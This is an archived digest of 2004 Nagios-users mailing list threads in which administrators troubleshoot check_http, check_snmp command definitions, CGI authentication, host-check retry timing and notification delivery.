[mailto:nagios-users- > admin at lists.sourceforge.net] En nombre de Timothy Moore > Enviado el: mi?rcoles, 17 de marzo de 2004 19:43 > Para: nagios-users at lists.sourceforge.net > Asunto: [Nagios-users] check_http problem > > I am having a problem with check_http. I have serveral http services that > work fine. I added some new services, but get a critical return code and > "No data received". If I run the command manually, it works fine. any > ideas? > $ > $ ./check_http -H myhost -w 5 -c 10 -p 80 > HTTP ok: HTTP/1.0 301 Moved Permanently - 0.004 second response > time |time= 0.004 > $ > $ ./check_http -H myhost -w 5 -c 10 -p 80 -f follow > HTTP ok: HTTP/1.1 200 OK - 0.020 second response time |time= > 0.020 > $ > > Timothy W. Moore > bea Systems > 4610 S. Ulster St. > Suite 100 > Denver, CO 80237 > 720-528-6177 > <> ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ludo.bosmans at xtenso.be Thu Mar 18 10:35:55 2004 From: ludo.bosmans at xtenso.be (Ludo Bosmans) Date: Thu, 18 Mar 2004 10:35:55 +0100 Subject: New Module IDEA Message-ID: <518772850433D4119AAA00105AC460987B28E9@mail.tpb.be> Jeff, Josh, Have a look to "curl". The curl command accept an input file with arguments to get and post. Also response time can be requested. A check_http can be finished in a relative short time, but you don't have an idea of the application speed behind. With curl you can do content checking while gathering the response times and put thresholds on it. kind regards, ludo -----Original Message----- From: jeff vier [mailto:jeff.vier at tradingtechnologies.com] Sent: donderdag 18 maart 2004 00:23 To: Josh Cc: nagios-users Subject: Re: [Nagios-users] New Module IDEA On Wed, 2004-03-17 at 16:56, Josh wrote: > Does anyone can make of have a module that can take a list of urls in > a plain text file and check them? A fine idea, I think. If I were going to do it, I'd write a wrapper for check_http that cycles through a for loop and returns whatever the worst status of the bunch is (obviously, OK if no baddies) and, for brevity, stops processing after one baddie. Aw, hell, I'll write it for you if you want. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dan.hopkins at uk.easynet.net Thu Mar 18 10:54:26 2004 From: dan.hopkins at uk.easynet.net (Dan Hopkins) Date: Thu, 18 Mar 2004 09:54:26 -0000 Subject: global event handlers firing sporadically in 1.1 Message-ID: <251F83C07099B54EB727A3B9D784451A07674CB2@vulcan.shepton.office.easynet.net> Has anyone experienced global event handlers being skipped (nagios 1.1)? We've got two separate installs (freebsd 4.8-REL, Xeon 3GHz, 2G RAM, 2300 hosts, 2500 services and a similar specced freebsd 4.9-REL box with 485 hosts, 400 services) both running nagios-1.1 with MySQL support for everything possible. In general, this setup work fine. We use global service and host event handlers to create DB event logs to replicate the nagios.log in the database, but noticed that sporadically the global event handlers just don't fire. There's no obvious pattern to it, there's no attempt to execute the event handlers according to the nagios.log, so it's not an actual failure of the event handler itself (it's a very basic command line mysql insert) It doesn't appear to be due to the nagios reload problem (this happens anything from 10 to 30 minutes into a clean startup of nagios on both boxes) I'm going to upgrade to 1.2 shortly, and run with some debugging to see if we can trace what's going on, failing that we'll have to tail the nagios log itself and create db event entries manually, but that's hardly ideal - thought I'd check no one here has an answer first? -- Dan Hopkins Systems Developer, easynet Ltd. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From julia.mcwhirter at superh.com Thu Mar 18 11:52:45 2004 From: julia.mcwhirter at superh.com (McWhirter,Julia) Date: Thu, 18 Mar 2004 10:52:45 -0000 Subject: Alerts to pagers/Mobiles Message-ID: <9FF3133289A7A84E81E2ED8F5E56B379644B5C@sh-uk-ex01.uk.w2k.superh.com> Not sure if this is the correct forum. I need to setup a server to forward nagios/swatch alerts to a mobile. Anyone done this can recommend s/w. Regards Julia McWhirter IT Manager ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From AHKAPLAN at PARTNERS.ORG Thu Mar 18 14:08:01 2004 From: AHKAPLAN at PARTNERS.ORG (Kaplan, Andrew H.) Date: Thu, 18 Mar 2004 08:08:01 -0500 Subject: Problem With check_snmp Message-ID: <5593DA408212D511B0910002A513501F06559256@phsexch20.mgh.harvard.edu> Hi there -- I have two printers that I am using the check_snmp command to monitor. Because I needed to use the -H -C and -o parameters, I created two additional entries in the checkcommands.cfg file. Here is what one of the entries looks like: # 'check_lox18_phaser750' command definition define command{ command_name check_snmp -H 192.168.1.110 -C public -o xyz.noname.5 command_line /usr/local/nagios/libexec/check_snmp -H 192.168.1.110 -C public -o xyz.noname.5 } I then went to the services.cfg file and had the following check_command line for the printer: check_command check_snmp -H 192.168.1.110 -C public -o xyz.noname.5 Whenever I run the sanity check, it says the check command mentioned above, as well as the other check_snmp command, are not defined anywhere. Is there another place that I need to configure the command besides the checkcommand and services.cfg files? I have run the command manually, and it does provide snmp feedback. Thanks. P.S. This message was accidentally sent to the nagmin users group...my apologies. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From andre.bergei at ementor.no Thu Mar 18 12:45:21 2004 From: andre.bergei at ementor.no (Andre Bergei) Date: Thu, 18 Mar 2004 12:45:21 +0100 Subject: chain-hash-patch Message-ID: <3C8515D9676BF9479F7EF3545B63AA220B210C@100NOOSLMSG001.common.alpharoot.net> > Hi Andre and Michael > > I see both u applied the chain-hash patch for 1.2 I also applied it > but when i try to get the trends graph for a specific host it fails. > > Its under View Trends for this host. I've attached a picture. > > After i applied the patch i cant see that image anymore. > > Just let me know if yours is doing the same otherwise i'll > just stay with the plain 1.2 release. > > Thanks > > Wickus Botha Yeah, seems to be broken. Snip from apache error log; [Thu Mar 18 12:22:21 2004] [error] [client 62.148.48.54] Premature end of script headers: /opt/nagios/sbin/trends.cgi Workaround; use the plain 1.2 trend.cgi and avail.cgi, all other pathed cgi' seems to work fine. /andr? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jda8527 at yahoo.com Thu Mar 18 14:44:05 2004 From: jda8527 at yahoo.com (Josh Anderson) Date: Thu, 18 Mar 2004 05:44:05 -0800 (PST) Subject: authentication Message-ID: <20040318134405.57661.qmail@web60105.mail.yahoo.com> I seem to be having some difficulties with nagios authentication. I had no trouble with 1.1 but after installing 1.2 on another machine I'm having this problem... Nagios is installed, configured, etc... Apache is setup to require a password in the /nagios directory. I started with setting use_authentication=0 in cgi.cfg. I enter in the URL for nagios and apache asks for a user/password. I enter it: username: jda password: xxxxxx Apache authenticates me and lets me in. I can then use all features of nagios. I then set use_authentication=1 and set the following: authorized_for_system_information=jda authorized_for_configuration_information=jda authorized_for_system_commands=jda authorized_for_all_services=jda authorized_for_all_hosts=jda authorized_for_all_service_commands=jda authorized_for_all_host_commands=jda Restart nagios, close my browser, and try again. Now, apache authenticates but Nagios is saying: "It appears as though you do not have permission to view information for any of the services you requested...If you believe this is an error, check the HTTP server authentication requirements for accessing this CGI and check the authorization options in your CGI configuration file." I can set default_user_name=jda and everything works fine (even with use_authentication=1). Anyone know what is going on? Do you Yahoo!? Yahoo! Mail - More reliable, more storage, less spam -------------- next part -------------- An HTML attachment was scrubbed... URL: From JVanas at finncorp.com Thu Mar 18 15:00:29 2004 From: JVanas at finncorp.com (Josh Van As) Date: Thu, 18 Mar 2004 09:00:29 -0500 Subject: Problem with time between soft down checks Message-ID: <834D93DB7AA4004F893BB62597D5774C533732@fcsrv0004.finncorp.com> We just installed Nagios 1.2 as an upgrade to 1.1. We had the same problem I am about to describe in 1.1, and was hoping that 1.2 fixed it. It did not. Our desired behavior is that when a service or host soft fails, we want Nagios to wait 1 minute then re-check. Repeat this a total of 5 failed checks (5th one being HARD) before sending out notification. The problem we are having, as you can se from the sample below, is that Nagios is only waiting 3 seconds in-between soft fail checks. Instead of a host / service taking 4 minutes to fail 4 additional times (before notification) it only takes about 12 seconds. We are getting a lot of false pages because just about any network glitch can last 12 seconds. Has anyone seen this before? Can you please help! We love this product, but this is driving us crazy with pages! Is this a problem with our perl installation? Are we missing a module or something? Or do we have the config files setup wrong? TIA! -Josh Sample problem: [03-18-2004 08:44:02] HOST NOTIFICATION: rich;fcprt0013;DOWN;host-notify-by-epager;/bin/ping -n -U -c 1 172.16.1.86 [03-18-2004 08:44:02] HOST ALERT: fcprt0013;DOWN;HARD;5;/bin/ping -n -U -c 1 172.16.1.86 [03-18-2004 08:43:59] HOST ALERT: fcprt0013;DOWN;SOFT;4;/bin/ping -n -U -c 1 172.16.1.86 [03-18-2004 08:43:56] HOST ALERT: fcprt0013;DOWN;SOFT;3;/bin/ping -n -U -c 1 172.16.1.86 [03-18-2004 08:43:53] HOST ALERT: fcprt0013;DOWN;SOFT;2;/bin/ping -n -U -c 1 172.16.1.86 [03-18-2004 08:43:50] HOST ALERT: fcprt0013;DOWN;SOFT;1;/bin/ping -n -U -c 1 172.16.1.86 Here is the service definition for this service: define service{ name generic-service active_checks_enabled 1 passive_checks_enabled 1 parallelize_check 1 obsess_over_service 0 check_freshness 1 freshness_threshold 0 notifications_enabled 1 event_handler_enabled 1 flap_detection_enabled 1 process_perf_data 1 retain_status_information 1 retain_nonstatus_information 0 max_check_attempts 5 normal_check_interval 1 retry_check_interval 1 check_period 24x7 notification_interval 60 notification_period wakinghours notification_options w,c,r register 0 } define service{ use generic-service host_name fcprt0013 service_description ping check_command check-host-alive contact_groups finncontacts } Here is the host definition for this host: define host{ name generic-host checks_enabled 1 notifications_enabled 1 event_handler_enabled 1 flap_detection_enabled 1 low_flap_threshold 0 high_flap_threshold 0 process_perf_data 1 retain_status_information 1 retain_nonstatus_information 0 max_check_attempts 5 notification_interval 60 notification_period wakinghours notification_options d,r register 0 } define host{ use generic-host host_name fcprt0013 alias fcprt0013.finncorp.com address 172.16.1.86 check_command check-host-alive parents fcnet0007 } ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 18 15:04:27 2004 From: marc at ena.com (Marc Powell) Date: Thu, 18 Mar 2004 08:04:27 -0600 Subject: Problem With check_snmp Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A359@mismail2.ena.com> Kaplan, Andrew H. wrote: > Hi there -- > > I have two printers that I am using the check_snmp command to monitor. > Because I needed to use the -H -C and -o parameters, I created two > additional entries in the checkcommands.cfg file. Here is what one of > the entries looks like: > > # 'check_lox18_phaser750' command definition define command{ > command_name check_snmp -H 192.168.1.110 -C public -o > xyz.noname.5 > command_line /usr/local/nagios/libexec/check_snmp -H > 192.168.1.110 -C public -o xyz.noname.5 > } > > I then went to the services.cfg file and had the following > check_command line for the printer: > > check_command check_snmp -H 192.168.1.110 -C public -o > xyz.noname.5 > > Whenever I run the sanity check, it says the check command mentioned > above, as well as the other check_snmp command, are not defined > anywhere. Is there another place that I need to configure the command > besides the checkcommand and services.cfg files? I have run the > command manually, and it does provide snmp feedback. Thanks. Your command_name should be very succint and can't contain spaces I believe (i.e. command_name check_lox18_phaser750). Either take a look at the documentation for Command Definition or look at already existing entries to see what I mean. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 18 15:06:17 2004 From: marc at ena.com (Marc Powell) Date: Thu, 18 Mar 2004 08:06:17 -0600 Subject: Alerts to pagers/Mobiles Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A35A@mismail2.ena.com> McWhirter,Julia wrote: > Not sure if this is the correct forum. I need to setup a server to > forward nagios/swatch alerts to a mobile. Anyone done this can > recommend s/w. There's a FAQ entry in the notification section. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jda8527 at yahoo.com Thu Mar 18 15:13:06 2004 From: jda8527 at yahoo.com (Josh Anderson) Date: Thu, 18 Mar 2004 06:13:06 -0800 (PST) Subject: authentication In-Reply-To: <20040318134405.57661.qmail@web60105.mail.yahoo.com> References: <20040318134405.57661.qmail@web60105.mail.yahoo.com> Message-ID: <20040318141306.68017.qmail@web60106.mail.yahoo.com> I actually got it working... My mistake. I did not put an .htaccess file in the /nagios/sbin/ directory. Thus none of the cgi's were requiring authentication from apache, but the cgi's themselves were. Just FYI for anyone who makes the same goofy mistake... Josh Anderson wrote: I seem to be having some difficulties with nagios authentication. I had no trouble with 1.1 but after installing 1.2 on another machine I'm having this problem... Nagios is installed, configured, etc... Apache is setup to require a password in the /nagios directory. I started with setting use_authentication=0 in cgi.cfg. I enter in the URL for nagios and apache asks for a user/password. I enter it: username: jda password: xxxxxx Apache authenticates me and lets me in. I can then use all features of nagios. I then set use_authentication=1 and set the following: authorized_for_system_information=jda authorized_for_configuration_information=jda authorized_for_system_commands=jda authorized_for_all_services=jda authorized_for_all_hosts=jda authorized_for_all_service_commands=jda authorized_for_all_host_commands=jda Restart nagios, close my browser, and try again. Now, apache authenticates but Nagios is saying: "It appears as though you do not have permission to view information for any of the services you requested...If you believe this is an error, check the HTTP server authentication requirements for accessing this CGI and check the authorization options in your CGI configuration file." I can set default_user_name=jda and everything works fine (even with use_authentication=1). Anyone know what is going on? Do you Yahoo!? Yahoo! Mail - More reliable, more storage, less spam Do you Yahoo!? Yahoo! Mail - More reliable, more storage, less spam -------------- next part -------------- An HTML attachment was scrubbed... URL: From marc at ena.com Thu Mar 18 15:10:50 2004 From: marc at ena.com (Marc Powell) Date: Thu, 18 Mar 2004 08:10:50 -0600 Subject: Statusmap Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A35B@mismail2.ena.com> Something is complaining somewhere during the configure or compile process. You'll need to watch those two carefully and send to the list any errors that are output (or the entire output of ./configure and possibly 'make all' if you see none). We'll also need to know more about your environment: what OS/version, what version of Nagios, what version of GD, where GD is installed, etc... -- Marc Justin Hennessy wrote: > I have done ALL of this and this problem still remains. Where do I go > next? > >>>> "Marc Powell" 18/03/2004 5:27:50 am >>> > http://www.nagios.org/faqs/viewfaq.php?faq_id=55 > > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From AHKAPLAN at PARTNERS.ORG Thu Mar 18 15:15:20 2004 From: AHKAPLAN at PARTNERS.ORG (Kaplan, Andrew H.) Date: Thu, 18 Mar 2004 09:15:20 -0500 Subject: Problem With check_snmp Message-ID: <5593DA408212D511B0910002A513501F06559259@phsexch20.mgh.harvard.edu> Marc -- Thanks for your reply. I went to the services.cfg file and removed the check_command entry for the first printer. I then went to the checkcommands.cfg file and copied the command_name line to the appropriate area in services.cfg. When I ran the sanity check again, the problem with the first printer disappeared. I repeated the process for the second printer with similar success. I could not see the difference between the syntax of what I had manually typed in originally, and what was copied in just now. Whatever it was, the program did see it and it looks like this approach did the trick. Thanks for the suggestion. -----Original Message----- From: Marc Powell [mailto:marc at ena.com] Sent: Thursday, March 18, 2004 9:04 AM To: Kaplan, Andrew H.; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Problem With check_snmp Kaplan, Andrew H. wrote: > Hi there -- > > I have two printers that I am using the check_snmp command to monitor. > Because I needed to use the -H -C and -o parameters, I created two > additional entries in the checkcommands.cfg file. Here is what one of > the entries looks like: > > # 'check_lox18_phaser750' command definition define command{ > command_name check_snmp -H 192.168.1.110 -C public -o > xyz.noname.5 > command_line /usr/local/nagios/libexec/check_snmp -H > 192.168.1.110 -C public -o xyz.noname.5 > } > > I then went to the services.cfg file and had the following > check_command line for the printer: > > check_command check_snmp -H 192.168.1.110 -C public -o > xyz.noname.5 > > Whenever I run the sanity check, it says the check command mentioned > above, as well as the other check_snmp command, are not defined > anywhere. Is there another place that I need to configure the command > besides the checkcommand and services.cfg files? I have run the > command manually, and it does provide snmp feedback. Thanks. Your command_name should be very succint and can't contain spaces I believe (i.e. command_name check_lox18_phaser750). Either take a look at the documentation for Command Definition or look at already existing entries to see what I mean. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 18 15:22:19 2004 From: marc at ena.com (Marc Powell) Date: Thu, 18 Mar 2004 08:22:19 -0600 Subject: authentication Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A35C@mismail2.ena.com> Who does nagios show you logged in as? If it's '?', do you have a .htaccess file in the sbin directory? -- Marc ________________________________ From: Josh Anderson [mailto:jda8527 at yahoo.com] Sent: Thursday, March 18, 2004 7:44 AM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] authentication I seem to be having some difficulties with nagios authentication. I had no trouble with 1.1 but after installing 1.2 on another machine I'm having this problem... Nagios is installed, configured, etc... Apache is setup to require a password in the /nagios directory. I started with setting use_authentication=0 in cgi.cfg. I enter in the URL for nagios and apache asks for a user/password. I enter it: username: jda password: xxxxxx Apache authenticates me and lets me in. I can then use all features of nagios. I then set use_authentication=1 and set the following: authorized_for_system_information=jda authorized_for_configuration_information=jda authorized_for_system_commands=jda authorized_for_all_services=jda authorized_for_all_hosts=jda authorized_for_all_service_commands=jda authorized_for_all_host_commands=jda Restart nagios, close my browser, and try again. Now, apache authenticates but Nagios is saying: "It appears as though you do not have permission to view information for any of the services you requested...If you believe this is an error, check the HTTP server authentication requirements for accessing this CGI and check the authorization options in your CGI configuration file." I can set default_user_name=jda and everything works fine (even with use_authentication=1). Anyone know what is going on? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rnelson at windchannel.com Thu Mar 18 15:32:48 2004 From: rnelson at windchannel.com (Robert Nelson) Date: Thu, 18 Mar 2004 09:32:48 -0500 Subject: check_https? Message-ID: Does anyone have a check_https plugin? I've tried check_http -p 443, and unless there's another option you need to use at the same time, it doesn't seem to work. Thanks. Rob Nelson Network Engineer Windchannel Communications M: 919-538-6326 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 18 15:40:25 2004 From: marc at ena.com (Marc Powell) Date: Thu, 18 Mar 2004 08:40:25 -0600 Subject: Problem with time between soft down checks Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A35D@mismail2.ena.com> Josh Van As wrote: > We just installed Nagios 1.2 as an upgrade to 1.1. We had the same > problem I am about to describe in 1.1, and was hoping that 1.2 fixed > it. > It did not. > > Our desired behavior is that when a service or host soft fails, we > want Nagios to wait 1 minute then re-check. Repeat this a total of 5 > failed checks (5th one being HARD) before sending out notification. > > The problem we are having, as you can se from the sample below, is > that Nagios is only waiting 3 seconds in-between soft fail checks. > Instead of a host / service taking 4 minutes to fail 4 additional > times (before > notification) it only takes about 12 seconds. > > We are getting a lot of false pages because just about any network > glitch can last 12 seconds. > > Has anyone seen this before? Can you please help! We love this > product, but this is driving us crazy with pages! Is this a problem > with our perl installation? Are we missing a module or something? > Or do we have the config files setup wrong? The time between service check retries is configurable and you should be able to do what you want with those. The same cannot be done for host check retries however. The way nagios is designed is that if the status of a host is at all in question it must be definitively determined before any other checks can proceed. In fact, _everything_ else stops until the status of the host is determined to be in a HARD state and nagios will rapidly issue the host check_command up to the maximum retries. This is necessary so that the network reachability and dependency tests work correctly (and others I'm sure). I'm not sure if this behavior has been modified in 2.0a. Someone out there may have a suggestion for a workaround but I think the standard assumption is that the network transport is good and if it wasn't you'd want to know about it. I personally can't offer a suggestion other than either modifying your host_check command to artificially introduce a delay but that will throw a lot of other checks out of wack or not doing host checks at all for those specific problem hosts. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From JVanas at finncorp.com Thu Mar 18 15:52:05 2004 From: JVanas at finncorp.com (Josh Van As) Date: Thu, 18 Mar 2004 09:52:05 -0500 Subject: Problem with time between soft down checks Message-ID: <834D93DB7AA4004F893BB62597D5774C53374F@fcsrv0004.finncorp.com> Thank you for the advice! I hope this has been changed in 2.0, or at least made user selectable. How do you just run service checks for a particular host? I thought there had to be a host check so that you can set up a service check? -----Original Message----- From: Marc Powell [mailto:marc at ena.com] Sent: Thursday, March 18, 2004 9:40 AM To: Josh Van As; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Problem with time between soft down checks The time between service check retries is configurable and you should be able to do what you want with those. The same cannot be done for host check retries however. The way nagios is designed is that if the status of a host is at all in question it must be definitively determined before any other checks can proceed. In fact, _everything_ else stops until the status of the host is determined to be in a HARD state and nagios will rapidly issue the host check_command up to the maximum retries. This is necessary so that the network reachability and dependency tests work correctly (and others I'm sure). I'm not sure if this behavior has been modified in 2.0a. Someone out there may have a suggestion for a workaround but I think the standard assumption is that the network transport is good and if it wasn't you'd want to know about it. I personally can't offer a suggestion other than either modifying your host_check command to artificially introduce a delay but that will throw a lot of other checks out of wack or not doing host checks at all for those specific problem hosts. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From agrajag at dragaera.net Thu Mar 18 15:45:05 2004 From: agrajag at dragaera.net (Sean Dilda) Date: Thu, 18 Mar 2004 09:45:05 -0500 Subject: occasional stuck mail In-Reply-To: References: Message-ID: <1079621105.4406.5.camel@pel> On Thu, 2004-03-18 at 00:04, Noah Leaman wrote: > I don't believe this is actually a problem with nagios but with the > mail app being used to send notifications out. I am using Mac OS X > Panther so it's actually by default Postfix (not Sendmail) being used. > I also am not able to reproduce the problem consistently, but it looks > bad anytime people aren't notified. > > What is happening is once and awhile, an email notification doesn't get > sent until another later email is sent. Nagios does report the > notification as being sent so I believe the notify command (shown > below) is being executed. It seems like the mail gets stuck in a mail > queue or something and only gets sent when it sends the next mail. I could be mistaken, but it sounds like you don't have a postfix daemon hanging around to handle your mail queue. So if there's any problem with sending the mail the first time, it just gets queued, and is ignored until your next sending of mail causes postfix to load up again. I've never used MacOS X so I couldn't tell you how to go about fixing it. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From agrajag at dragaera.net Thu Mar 18 15:46:36 2004 From: agrajag at dragaera.net (Sean Dilda) Date: Thu, 18 Mar 2004 09:46:36 -0500 Subject: Statusmap In-Reply-To: References: Message-ID: <1079621196.4406.8.camel@pel> On Thu, 2004-03-18 at 00:29, Justin Hennessy wrote: > I have done ALL of this and this problem still remains. Where do I go > next? > > >>> "Marc Powell" 18/03/2004 5:27:50 am >>> > http://www.nagios.org/faqs/viewfaq.php?faq_id=55 Whare are the compile errors? All of them, the earlier ones are actually more important than the later ones. Without the compiler errors, we'd all just be making wild guesses. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhmartin at toger.us Thu Mar 18 16:01:39 2004 From: jhmartin at toger.us (Jason Martin) Date: Thu, 18 Mar 2004 07:01:39 -0800 (PST) Subject: check_https? In-Reply-To: References: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 check_http can handle that but you have to have openssl on the machine it is compiled on. There is a -S runtime option to enable ssl. - -Jason Martin On Thu, 18 Mar 2004, Robert Nelson wrote: > Does anyone have a check_https plugin? I've tried check_http -p 443, and unless there's another option you need to use at the same time, it doesn't seem to work. Thanks. > > Rob Nelson > Network Engineer > Windchannel Communications > M: 919-538-6326 > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel 